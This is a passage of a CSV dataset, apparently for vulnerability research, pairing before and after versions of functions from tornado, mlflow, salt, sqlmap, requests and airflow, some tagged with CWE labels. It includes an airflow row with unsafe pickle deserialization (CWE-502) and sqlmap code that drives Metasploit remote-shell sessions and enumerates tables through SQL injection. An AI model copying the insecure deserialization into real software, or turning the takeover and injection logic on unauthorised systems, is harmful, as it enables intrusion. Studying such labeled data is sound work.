        self.max_buffer_size = max_buffer_size or 104857600
        # A chunk size that is too close to max_buffer_size can cause
        # spurious failures.
        self.read_chunk_size = min(read_chunk_size or 65536,
                                   self.max_buffer_size // 2)
        self.max_write_buffer_size = max_write_buffer_size
        self.error = None
        self._read_buffer = bytearray()
        self._read_buffer_pos = 0
        self._read_buffer_size = 0
        self._write_buffer = bytearray()
        self._write_buffer_pos = 0
        self._write_buffer_size = 0
        self._write_buffer_frozen = False
        self._total_write_index = 0
        self._total_write_done_index = 0
        self._pending_writes_while_frozen = []
        self._read_delimiter = None
        self._read_regex = None
        self._read_max_bytes = None
        self._read_bytes = None
        self._read_partial = False
        self._read_until_close = False
        self._read_callback = None
        self._read_future = None
        self._streaming_callback = None
        self._write_callback = None
        self._write_futures = collections.deque()
        self._close_callback = None
        self._connect_callback = None
        self._connect_future = None
        # _ssl_connect_future should be defined in SSLIOStream
        # but it's here so we can clean it up in maybe_run_close_callback.
        # TODO: refactor that so subclasses can add additional futures
        # to be cancelled.
        self._ssl_connect_future = None
        self._connecting = False
        self._state = None
        self._pending_callbacks = 0
        self._closed = False",CWE-Unknown,tornadoweb/tornado,148b0c6bda61426d85244cc259d1d6537c05a384,"def __init__(self, io_loop=None, max_buffer_size=None,
                 read_chunk_size=None, max_write_buffer_size=None):
        """"""`BaseIOStream` constructor.

        :arg io_loop: The `.IOLoop` to use; defaults to `.IOLoop.current`.
                      Deprecated since Tornado 4.1.
        :arg max_buffer_size: Maximum amount of incoming data to buffer;
            defaults to 100MB.
        :arg read_chunk_size: Amount of data to read at one time from the
            underlying transport; defaults to 64KB.
        :arg max_write_buffer_size: Amount of outgoing data to buffer;
            defaults to unlimited.

        .. versionchanged:: 4.0
           Add the ``max_write_buffer_size`` parameter.  Changed default
           ``read_chunk_size`` to 64KB.
        """"""
        self.io_loop = io_loop or ioloop.IOLoop.current()
        self.max_buffer_size = max_buffer_size or 104857600
        # A chunk size that is too close to max_buffer_size can cause
        # spurious failures.
        self.read_chunk_size = min(read_chunk_size or 65536,
                                   self.max_buffer_size // 2)
        self.max_write_buffer_size = max_write_buffer_size
        self.error = None
        self._read_buffer = bytearray()
        self._read_buffer_pos = 0
        self._read_buffer_size = 0
        self._write_buffer = bytearray()
        self._write_buffer_pos = 0
        self._write_buffer_size = 0
        self._write_buffer_frozen = False
        self._pending_writes_while_frozen = []
        self._read_delimiter = None
        self._read_regex = None
        self._read_max_bytes = None
        self._read_bytes = None
        self._read_partial = False
        self._read_until_close = False
        self._read_callback = None
        self._read_future = None
        self._streaming_callback = None
        self._write_callback = None
        self._write_future = None
        self._close_callback = None
        self._connect_callback = None
        self._connect_future = None
        # _ssl_connect_future should be defined in SSLIOStream
        # but it's here so we can clean it up in maybe_run_close_callback.
        # TODO: refactor that so subclasses can add additional futures
        # to be cancelled.
        self._ssl_connect_future = None
        self._connecting = False
        self._state = None
        self._pending_callbacks = 0
        self._closed = False"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/keras.py,0,"def get_default_conda_env(include_cloudpickle=False, keras_module=None):
    """"""
    :return: The default Conda environment for MLflow Models produced by calls to
             :func:`save_model()` and :func:`log_model()`.
    """"""
    import tensorflow as tf

    conda_deps = []  # if we use tf.keras we only need to declare dependency on tensorflow
    pip_deps = []
    if keras_module is None:
        import keras

        keras_module = keras
    if keras_module.__name__ == ""keras"":
        # Temporary fix: the created conda environment has issues installing keras >= 2.3.1
        if LooseVersion(keras_module.__version__) < LooseVersion(""2.3.1""):
            conda_deps.append(""keras=={}"".format(keras_module.__version__))
        else:
            pip_deps.append(""keras=={}"".format(keras_module.__version__))
    if include_cloudpickle:
        import cloudpickle

        pip_deps.append(""cloudpickle=={}"".format(cloudpickle.__version__))
    # Temporary fix: conda-forge currently does not have tensorflow > 1.14
    # The Keras pyfunc representation requires the TensorFlow
    # backend for Keras. Therefore, the conda environment must
    # include TensorFlow
    if LooseVersion(tf.__version__) <= LooseVersion(""1.13.2""):
        conda_deps.append(""tensorflow=={}"".format(tf.__version__))
    else:
        pip_deps.append(""tensorflow=={}"".format(tf.__version__))

    # Tensorflow<2.4 does not work with h5py>=3.0.0
    # see https://github.com/tensorflow/tensorflow/issues/44467
    if LooseVersion(tf.__version__) < LooseVersion(""2.4""):
        pip_deps.append(""h5py<3.0.0"")

    return _mlflow_conda_env(
        additional_conda_deps=conda_deps,
        additional_pip_deps=pip_deps,
        additional_conda_channels=None,
    )",,mlflow/mlflow,4582e4673a27136f08cba422d21acfd16589b4c8,"def get_default_conda_env(include_cloudpickle=False, keras_module=None):
    """"""
    :return: The default Conda environment for MLflow Models produced by calls to
             :func:`save_model()` and :func:`log_model()`.
    """"""
    import tensorflow as tf

    conda_deps = []  # if we use tf.keras we only need to declare dependency on tensorflow
    pip_deps = []
    if keras_module is None:
        import keras

        keras_module = keras
    if keras_module.__name__ == ""keras"":
        # Temporary fix: the created conda environment has issues installing keras >= 2.3.1
        if LooseVersion(keras_module.__version__) < LooseVersion(""2.3.1""):
            conda_deps.append(""keras=={}"".format(keras_module.__version__))
        else:
            pip_deps.append(""keras=={}"".format(keras_module.__version__))
    if include_cloudpickle:
        import cloudpickle

        pip_deps.append(""cloudpickle=={}"".format(cloudpickle.__version__))
    # Temporary fix: conda-forge currently does not have tensorflow > 1.14
    # The Keras pyfunc representation requires the TensorFlow
    # backend for Keras. Therefore, the conda environment must
    # include TensorFlow
    if LooseVersion(tf.__version__) <= LooseVersion(""1.13.2""):
        conda_deps.append(""tensorflow=={}"".format(tf.__version__))
    else:
        pip_deps.append(""tensorflow=={}"".format(tf.__version__))

    return _mlflow_conda_env(
        additional_conda_deps=conda_deps,
        additional_pip_deps=pip_deps,
        additional_conda_channels=None,
    )"
,UNKNOWN,UNKNOWN,salt/minion.py,1,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        context = zmq.Context()
        socket = context.socket(zmq.SUB)
        socket.setsockopt(zmq.SUBSCRIBE, '')
        socket.connect(self.master_pub)
        if self.opts['sub_timeout']:
            last = time.time()
            while True:
                payload = None
                try:
                    payload = self.serial.loads(socket.recv(1))
                    self._handle_payload(payload)
                    last = time.time()
                except:
                    pass
                if time.time() - last > self.opts['sub_timeout']:
                    # It has been a while since the last command, make sure
                    # the connection is fresh by reconnecting
                    if self.opts['dns_check']:
                        try:
                            # Verify that the dns entry has not changed
                            self.opts['master_ip'] = salt.utils.dns_check(
                                self.opts['master'], safe=True)
                        except SaltClientError:
                            # Failed to update the dns, keep the old addr
                            pass
                    socket.close()
                    socket = context.socket(zmq.SUB)
                    socket.setsockopt(zmq.SUBSCRIBE, '')
                    socket.connect(self.master_pub)
                    last = time.time()
                time.sleep(0.05)
                multiprocessing.active_children()
                self.passive_refresh()
        else:
            while True:
                payload = None
                try:
                    payload = self.serial(socket.recv(1))
                    self._handle_payload(payload)
                except:
                    pass
                time.sleep(0.05)
                multiprocessing.active_children()
                self.passive_refresh()",CWE-703,saltstack/salt,ab0f7236bfdde3ce52d04ce9d19300ff53f2ea70,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        context = zmq.Context()
        socket = context.socket(zmq.SUB)
        socket.setsockopt(zmq.SUBSCRIBE, '')
        socket.connect(self.master_pub)
        if self.opts['sub_timeout']:
            last = time.time()
            while True:
                payload = None
                try:
                    payload = self.serial.loads(socket.recv(1))
                    self._handle_payload(payload)
                    last = time.time()
                except:
                    pass
                if time.time() - last > self.opts['sub_timeout']:
                    # It has been a while since the last command, make sure
                    # the connection is fresh by reconnecting
                    if self.opts['dns_check']:
                        try:
                            # Verify that the dns entry has not changed
                            self.opts['master_ip'] = salt.utils.dns_check(
                                self.opts['master'], safe=True)
                        except SaltClientError:
                            # Failed to update the dns, keep the old addr
                            pass
                    self.passive_refresh()
                    socket.close()
                    socket = context.socket(zmq.SUB)
                    socket.setsockopt(zmq.SUBSCRIBE, '')
                    socket.connect(self.master_pub)
                    last = time.time()
                time.sleep(0.05)
                multiprocessing.active_children()
        else:
            while True:
                payload = None
                try:
                    payload = self.serial(socket.recv(1))
                    self._handle_payload(payload)
                except:
                    pass
                time.sleep(0.05)
                multiprocessing.active_children()
                self.passive_refresh()"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/metasploit.py,0,"def _controlMsfCmd(self, proc, func):
        initialized = False
        start_time = time.time()
        stdin_fd = sys.stdin.fileno()

        while True:
            returncode = proc.poll()

            if returncode is None:
                # Child hasn't exited yet
                pass
            else:
                logger.debug(""connection closed properly"")
                return returncode

            try:
                if IS_WIN:
                    timeout = 3

                    inp = """"
                    _ = time.time()

                    while True:
                        if msvcrt.kbhit():
                            char = msvcrt.getche()

                            if ord(char) == 13:     # enter_key
                                break
                            elif ord(char) >= 32:   # space_char
                                inp += char

                        if len(inp) == 0 and (time.time() - _) > timeout:
                            break

                    if len(inp) > 0:
                        try:
                            send_all(proc, inp)
                        except (EOFError, IOError):
                            # Probably the child has exited
                            pass
                else:
                    ready_fds = select([stdin_fd], [], [], 1)

                    if stdin_fd in ready_fds[0]:
                        try:
                            send_all(proc, blockingReadFromFD(stdin_fd))
                        except (EOFError, IOError):
                            # Probably the child has exited
                            pass

                out = recv_some(proc, t=.1, e=0)
                blockingWriteToFD(sys.stdout.fileno(), out)

                # For --os-pwn and --os-bof
                pwnBofCond = self.connectionStr.startswith(""reverse"")
                pwnBofCond &= ""Starting the payload handler"" in out

                # For --os-smbrelay
                smbRelayCond = ""Server started"" in out

                if pwnBofCond or smbRelayCond:
                    func()

                timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT

                if not initialized:
                    match = re.search(""session ([\d]+) opened"", out)

                    if match:
                        self._loadMetExtensions(proc, match.group(1))

                        if ""shell"" in self.payloadStr:
                            send_all(proc, ""whoami\n"" if Backend.isOs(OS.WINDOWS) else ""uname -a ; id\n"")
                            time.sleep(2)

                        initialized = True
                    elif timeout:
                        proc.kill()
                        errMsg = ""timeout occurred while attempting ""
                        errMsg += ""to open a remote session""
                        raise SqlmapGenericException(errMsg)

                if conf.liveTest and timeout:
                    if initialized:
                        send_all(proc, ""exit\n"")
                        time.sleep(2)
                    else:
                        proc.kill()

            except (EOFError, IOError):
                return proc.returncode",,sqlmapproject/sqlmap,018748f52e4e0adc2a9eee2a421df55d4fdf5ad5,"def _controlMsfCmd(self, proc, func):
        initialized = False
        start_time = time.time()
        stdin_fd = sys.stdin.fileno()

        while True:
            returncode = proc.poll()

            if returncode is None:
                # Child hasn't exited yet
                pass
            else:
                logger.debug(""connection closed properly"")
                return returncode

            try:
                if IS_WIN:
                    timeout = 3

                    inp = """"
                    _ = time.time()

                    while True:
                        if msvcrt.kbhit():
                            char = msvcrt.getche()

                            if ord(char) == 13:     # enter_key
                                break
                            elif ord(char) >= 32:   # space_char
                                inp += char

                        if len(inp) == 0 and (time.time() - _) > timeout:
                            break

                    if len(inp) > 0:
                        try:
                            send_all(proc, inp)
                        except (EOFError, IOError):
                            # Probably the child has exited
                            pass
                else:
                    ready_fds = select([stdin_fd], [], [], 1)

                    if stdin_fd in ready_fds[0]:
                        try:
                            send_all(proc, blockingReadFromFD(stdin_fd))
                        except (EOFError, IOError):
                            # Probably the child has exited
                            pass

                out = recv_some(proc, t=.1, e=0)
                blockingWriteToFD(sys.stdout.fileno(), out)

                # For --os-pwn and --os-bof
                pwnBofCond = self.connectionStr.startswith(""reverse"")
                pwnBofCond &= ""Starting the payload handler"" in out

                # For --os-smbrelay
                smbRelayCond = ""Server started"" in out

                if pwnBofCond or smbRelayCond:
                    func()

                timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT

                if not initialized:
                    match = re.search(""session ([\d]+) opened"", out)

                    if match:
                        self._loadMetExtensions(proc, match.group(1))

                        if ""shell"" in self.payloadStr:
                            send_all(proc, ""whoami\n"" if Backend.isOs(OS.WINDOWS) else ""uname -a ; id\n"")
                            time.sleep(2)

                        initialized = True

                    elif timeout:
                        proc.kill()
                        errMsg = ""timeout occurred while attempting ""
                        errMsg += ""to open a remote session""
                        raise SqlmapGenericException(errMsg)

                if conf.liveTest and timeout:
                    if initialized:
                        send_all(proc, ""exit\n"")
                        time.sleep(2)
                    else:
                        proc.kill()

            except (EOFError, IOError):
                return proc.returncode"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/utils.py,0,"def prepend_scheme_if_needed(url, new_scheme):
    """"""Given a URL that may or may not have a scheme, prepend the given scheme.
    Does not replace a present scheme with the one provided as an argument.

    :rtype: str
    """"""
    parsed = parse_url(url)
    scheme, auth, host, port, path, query, fragment = parsed

    # A defect in urlparse determines that there isn't a netloc present in some
    # urls. We previously assumed parsing was overly cautious, and swapped the
    # netloc and path. Due to a lack of tests on the original defect, this is
    # maintained with parse_url for backwards compatibility.
    netloc = parsed.netloc
    if not netloc:
        netloc, path = path, netloc

    if auth:
        # parse_url doesn't provide the netloc with auth
        # so we'll add it ourselves.
        netloc = '@'.join([auth, netloc])
    if scheme is None:
        scheme = new_scheme
    if path is None:
        path = ''

    return urlunparse((scheme, netloc, path, '', query, fragment))",,psf/requests,8fa9724398c4f44090997ff430a1dd3e935a9057,"def prepend_scheme_if_needed(url, new_scheme):
    """"""Given a URL that may or may not have a scheme, prepend the given scheme.
    Does not replace a present scheme with the one provided as an argument.

    :rtype: str
    """"""
    parsed = parse_url(url)
    scheme, auth, host, port, path, query, fragment = parsed

    # A defect in urlparse determines that there isn't a netloc present in some
    # urls. We previously assumed parsing was overly cautious, and swapped the
    # netloc and path. Due to a lack of tests on the original defect, this is
    # maintained with parse_url for backwards compatibility.
    netloc = parsed.netloc
    if not netloc:
        netloc, path = path, netloc

    if scheme is None:
        scheme = new_scheme
    if path is None:
        path = ''

    return urlunparse((scheme, netloc, path, '', query, fragment))"
,UNKNOWN,UNKNOWN,tornado/iostream.py,1,"def _do_ssl_handshake(self) -> None:
        # Based on code from test_ssl.py in the python stdlib
        try:
            self._handshake_reading = False
            self._handshake_writing = False
            self.socket.do_handshake()
        except ssl.SSLError as err:
            if err.args[0] == ssl.SSL_ERROR_WANT_READ:
                self._handshake_reading = True
                return
            elif err.args[0] == ssl.SSL_ERROR_WANT_WRITE:
                self._handshake_writing = True
                return
            elif err.args[0] in (ssl.SSL_ERROR_EOF, ssl.SSL_ERROR_ZERO_RETURN):
                return self.close(exc_info=err)
            elif err.args[0] in (ssl.SSL_ERROR_SSL, ssl.SSL_ERROR_SYSCALL):
                try:
                    peer = self.socket.getpeername()
                except Exception:
                    peer = ""(not connected)""
                gen_log.warning(
                    ""SSL Error on %s %s: %s"", self.socket.fileno(), peer, err
                )
                return self.close(exc_info=err)
            raise
        except ssl.CertificateError as err:
            # CertificateError can happen during handshake (hostname
            # verification) and should be passed to user. Starting
            # in Python 3.7, this error is a subclass of SSLError
            # and will be handled by the previous block instead.
            return self.close(exc_info=err)
        except socket.error as err:
            # Some port scans (e.g. nmap in -sT mode) have been known
            # to cause do_handshake to raise EBADF and ENOTCONN, so make
            # those errors quiet as well.
            # https://groups.google.com/forum/?fromgroups#!topic/python-tornado/ApucKJat1_0
            # Errno 0 is also possible in some cases (nc -z).
            # https://github.com/tornadoweb/tornado/issues/2504
            if self._is_connreset(err) or err.args[0] in (
                0,
                errno.EBADF,
                errno.ENOTCONN,
            ):
                return self.close(exc_info=err)
            raise
        except AttributeError as err:
            # On Linux, if the connection was reset before the call to
            # wrap_socket, do_handshake will fail with an
            # AttributeError.
            return self.close(exc_info=err)
        else:
            self._ssl_accepting = False
            # Prior to the introduction of SNI, this is where we would check
            # the server's claimed hostname.
            assert ssl.HAS_SNI
            self._finish_ssl_connect()",CWE-703,tornadoweb/tornado,60beec81ed5771743a34aa53e510b93e8dbb3595,"def _do_ssl_handshake(self) -> None:
        # Based on code from test_ssl.py in the python stdlib
        try:
            self._handshake_reading = False
            self._handshake_writing = False
            self.socket.do_handshake()
        except ssl.SSLError as err:
            if err.args[0] == ssl.SSL_ERROR_WANT_READ:
                self._handshake_reading = True
                return
            elif err.args[0] == ssl.SSL_ERROR_WANT_WRITE:
                self._handshake_writing = True
                return
            elif err.args[0] in (ssl.SSL_ERROR_EOF, ssl.SSL_ERROR_ZERO_RETURN):
                return self.close(exc_info=err)
            elif err.args[0] == ssl.SSL_ERROR_SSL:
                try:
                    peer = self.socket.getpeername()
                except Exception:
                    peer = ""(not connected)""
                gen_log.warning(
                    ""SSL Error on %s %s: %s"", self.socket.fileno(), peer, err
                )
                return self.close(exc_info=err)
            raise
        except ssl.CertificateError as err:
            # CertificateError can happen during handshake (hostname
            # verification) and should be passed to user. Starting
            # in Python 3.7, this error is a subclass of SSLError
            # and will be handled by the previous block instead.
            return self.close(exc_info=err)
        except socket.error as err:
            # Some port scans (e.g. nmap in -sT mode) have been known
            # to cause do_handshake to raise EBADF and ENOTCONN, so make
            # those errors quiet as well.
            # https://groups.google.com/forum/?fromgroups#!topic/python-tornado/ApucKJat1_0
            # Errno 0 is also possible in some cases (nc -z).
            # https://github.com/tornadoweb/tornado/issues/2504
            if self._is_connreset(err) or err.args[0] in (
                0,
                errno.EBADF,
                errno.ENOTCONN,
            ):
                return self.close(exc_info=err)
            raise
        except AttributeError as err:
            # On Linux, if the connection was reset before the call to
            # wrap_socket, do_handshake will fail with an
            # AttributeError.
            return self.close(exc_info=err)
        else:
            self._ssl_accepting = False
            # Prior to the introduction of SNI, this is where we would check
            # the server's claimed hostname.
            assert ssl.HAS_SNI
            self._finish_ssl_connect()"
,UNKNOWN,UNKNOWN,airflow/models/xcom.py,1,"def _deserialize_value(result: XCom, orm: bool) -> Any:
        object_hook = None
        if orm:
            object_hook = XComDecoder.orm_object_hook

        if result.value is None:
            return None
        if conf.getboolean(""core"", ""enable_xcom_pickling""):
            try:
                return pickle.loads(result.value)
            except pickle.UnpicklingError:
                return json.loads(result.value.decode(""UTF-8""), cls=XComDecoder, object_hook=object_hook)
        else:
            # Since xcom_pickling is disabled, we should only try to deserialize with JSON
            return json.loads(result.value.decode(""UTF-8""), cls=XComDecoder, object_hook=object_hook)",CWE-502,apache/airflow,2c4c5bc604e9ab0cc1e98f7bee7d31d566579462,"def _deserialize_value(result: XCom, orm: bool) -> Any:
        object_hook = None
        if orm:
            object_hook = XComDecoder.orm_object_hook

        if result.value is None:
            return None
        if conf.getboolean(""core"", ""enable_xcom_pickling""):
            try:
                return pickle.loads(result.value)
            except pickle.UnpicklingError:
                return json.loads(result.value.decode(""UTF-8""), cls=XComDecoder, object_hook=object_hook)
        else:
            try:
                return json.loads(result.value.decode(""UTF-8""), cls=XComDecoder, object_hook=object_hook)
            except (json.JSONDecodeError, UnicodeDecodeError):
                return pickle.loads(result.value)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/search.py,0,"def searchTable(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = ""information_schema not available, ""
            errMsg += ""back-end DBMS is MySQL < 5.0""
            bruteForce = True

        if bruteForce:
            message = ""do you want to use common table existence check? %s"" % (""[Y/n/q]"" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else ""[y/N/q]"")
            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                regex = '|'.join(conf.tbl.split(','))
                return tableExists(paths.COMMON_TABLES, regex)

        foundTbls = {}
        tblList = conf.tbl.split(',')
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblConsider, tblCondParam = self.likeOrExact(""table"")

        for tbl in tblList:
            values = []
            tbl = safeSQLIdentificatorNaming(tbl, True)

            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                tbl = tbl.upper()
                conf.db = conf.db.upper() if conf.db else conf.db

            infoMsg = ""searching table""
            if tblConsider == '1':
                infoMsg += ""s LIKE""
            infoMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)

            if conf.db == CURRENT_DB:
                conf.db = self.getCurrentDb()

            if dbCond and conf.db:
                _ = conf.db.split(',')
                whereDbsQuery = "" AND ("" + "" OR "".join(""%s = '%s'"" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + "")""
                infoMsg += "" for database%s '%s'"" % (""s"" if len(_) > 1 else """", "", "".join(db for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = """".join("" AND '%s' != %s"" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
                msg = ""skipping system database%s '%s'"" % (""s"" if len(self.excludeDbsList) > 1 else """", "", "".join(db for db in self.excludeDbsList))
                logger.info(msg)
            else:
                whereDbsQuery = """"

            if dbCond and conf.exclude:
                whereDbsQuery += "" AND %s NOT LIKE '%s'"" % (dbCond, re.sub(r""\.[*+]"", '%', conf.exclude._original))

            logger.info(infoMsg)

            tblQuery = ""%s%s"" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                query = rootQuery.inband.query

                query = query % (tblQuery + whereDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    newValues = []

                    if isinstance(values, six.string_types):
                        values = [values]
                    for value in values:
                        dbName = ""SQLite"" if Backend.isDbms(DBMS.SQLITE) else ""Firebird""
                        newValues.append([""%s%s"" % (dbName, METADB_SUFFIX), value])

                    values = newValues

                for foundDb, foundTbl in filterPairValues(values):
                    foundDb = safeSQLIdentificatorNaming(foundDb)
                    foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                    if foundDb is None or foundTbl is None:
                        continue

                    if foundDb in foundTbls:
                        foundTbls[foundDb].append(foundTbl)
                    else:
                        foundTbls[foundDb] = [foundTbl]

            if not values and isInferenceAvailable() and not conf.direct:
                if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                    if len(whereDbsQuery) == 0:
                        infoMsg = ""fetching number of databases with table""
                        if tblConsider == ""1"":
                            infoMsg += ""s LIKE""
                        infoMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                        logger.info(infoMsg)

                        query = rootQuery.blind.count
                        query = query % (tblQuery + whereDbsQuery)
                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = ""no databases have table""
                            if tblConsider == ""1"":
                                warnMsg += ""s LIKE""
                            warnMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query
                            query = query % (tblQuery + whereDbsQuery)
                            query = agent.limitQuery(index, query)

                            foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            foundDb = safeSQLIdentificatorNaming(foundDb)

                            if foundDb not in foundTbls:
                                foundTbls[foundDb] = []

                            if tblConsider == ""2"":
                                foundTbls[foundDb].append(tbl)

                        if tblConsider == ""2"":
                            continue
                    else:
                        for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),):
                            db = safeSQLIdentificatorNaming(db)
                            if db not in foundTbls:
                                foundTbls[db] = []
                else:
                    dbName = ""SQLite"" if Backend.isDbms(DBMS.SQLITE) else ""Firebird""
                    foundTbls[""%s%s"" % (dbName, METADB_SUFFIX)] = []

                for db in foundTbls:
                    db = safeSQLIdentificatorNaming(db)

                    infoMsg = ""fetching number of table""
                    if tblConsider == ""1"":
                        infoMsg += ""s LIKE""
                    infoMsg += "" '%s' in database '%s'"" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = query % unsafeSQLIdentificatorNaming(db)
                    query += "" AND %s"" % tblQuery

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = ""no table""
                        if tblConsider == ""1"":
                            warnMsg += ""s LIKE""
                        warnMsg += "" '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2

                        if "" ORDER BY "" in query:
                            query = query.replace("" ORDER BY "", ""%s ORDER BY "" % ("" AND %s"" % tblQuery))
                        elif query.endswith(""'%s')""):
                            query = query[:-1] + "" AND %s)"" % tblQuery
                        else:
                            query += "" AND %s"" % tblQuery

                        if Backend.isDbms(DBMS.FIREBIRD):
                            query = safeStringFormat(query, index)

                        if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                            query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))

                        if not Backend.isDbms(DBMS.FIREBIRD):
                            query = agent.limitQuery(index, query)

                        foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        if not isNoneValue(foundTbl):
                            kb.hintValue = foundTbl
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
                            foundTbls[db].append(foundTbl)

        for db in list(foundTbls.keys()):
            if isNoneValue(foundTbls[db]):
                del foundTbls[db]

        if not foundTbls:
            warnMsg = ""no databases contain any of the provided tables""
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)",,sqlmapproject/sqlmap,85c6d0d5c1cce67f59a0f37432a35744a5461755,"def searchTable(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = ""information_schema not available, ""
            errMsg += ""back-end DBMS is MySQL < 5.0""
            bruteForce = True

        if bruteForce:
            message = ""do you want to use common table existence check? %s"" % (""[Y/n/q]"" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else ""[y/N/q]"")
            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                regex = '|'.join(conf.tbl.split(','))
                return tableExists(paths.COMMON_TABLES, regex)

        foundTbls = {}
        tblList = conf.tbl.split(',')
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblConsider, tblCondParam = self.likeOrExact(""table"")

        for tbl in tblList:
            values = []
            tbl = safeSQLIdentificatorNaming(tbl, True)

            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                tbl = tbl.upper()
                conf.db = conf.db.upper() if conf.db else conf.db

            infoMsg = ""searching table""
            if tblConsider == '1':
                infoMsg += ""s LIKE""
            infoMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)

            if conf.db == CURRENT_DB:
                conf.db = self.getCurrentDb()

            if dbCond and conf.db:
                _ = conf.db.split(',')
                whereDbsQuery = "" AND ("" + "" OR "".join(""%s = '%s'"" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + "")""
                infoMsg += "" for database%s '%s'"" % (""s"" if len(_) > 1 else """", "", "".join(db for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = """".join("" AND '%s' != %s"" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
                msg = ""skipping system database%s '%s'"" % (""s"" if len(self.excludeDbsList) > 1 else """", "", "".join(db for db in self.excludeDbsList))
                logger.info(msg)
            else:
                whereDbsQuery = """"

            logger.info(infoMsg)

            tblQuery = ""%s%s"" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                query = rootQuery.inband.query

                query = query % (tblQuery + whereDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    newValues = []

                    if isinstance(values, six.string_types):
                        values = [values]
                    for value in values:
                        dbName = ""SQLite"" if Backend.isDbms(DBMS.SQLITE) else ""Firebird""
                        newValues.append([""%s%s"" % (dbName, METADB_SUFFIX), value])

                    values = newValues

                for foundDb, foundTbl in filterPairValues(values):
                    foundDb = safeSQLIdentificatorNaming(foundDb)
                    foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                    if foundDb is None or foundTbl is None:
                        continue

                    if foundDb in foundTbls:
                        foundTbls[foundDb].append(foundTbl)
                    else:
                        foundTbls[foundDb] = [foundTbl]

            if not values and isInferenceAvailable() and not conf.direct:
                if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                    if len(whereDbsQuery) == 0:
                        infoMsg = ""fetching number of databases with table""
                        if tblConsider == ""1"":
                            infoMsg += ""s LIKE""
                        infoMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                        logger.info(infoMsg)

                        query = rootQuery.blind.count
                        query = query % (tblQuery + whereDbsQuery)
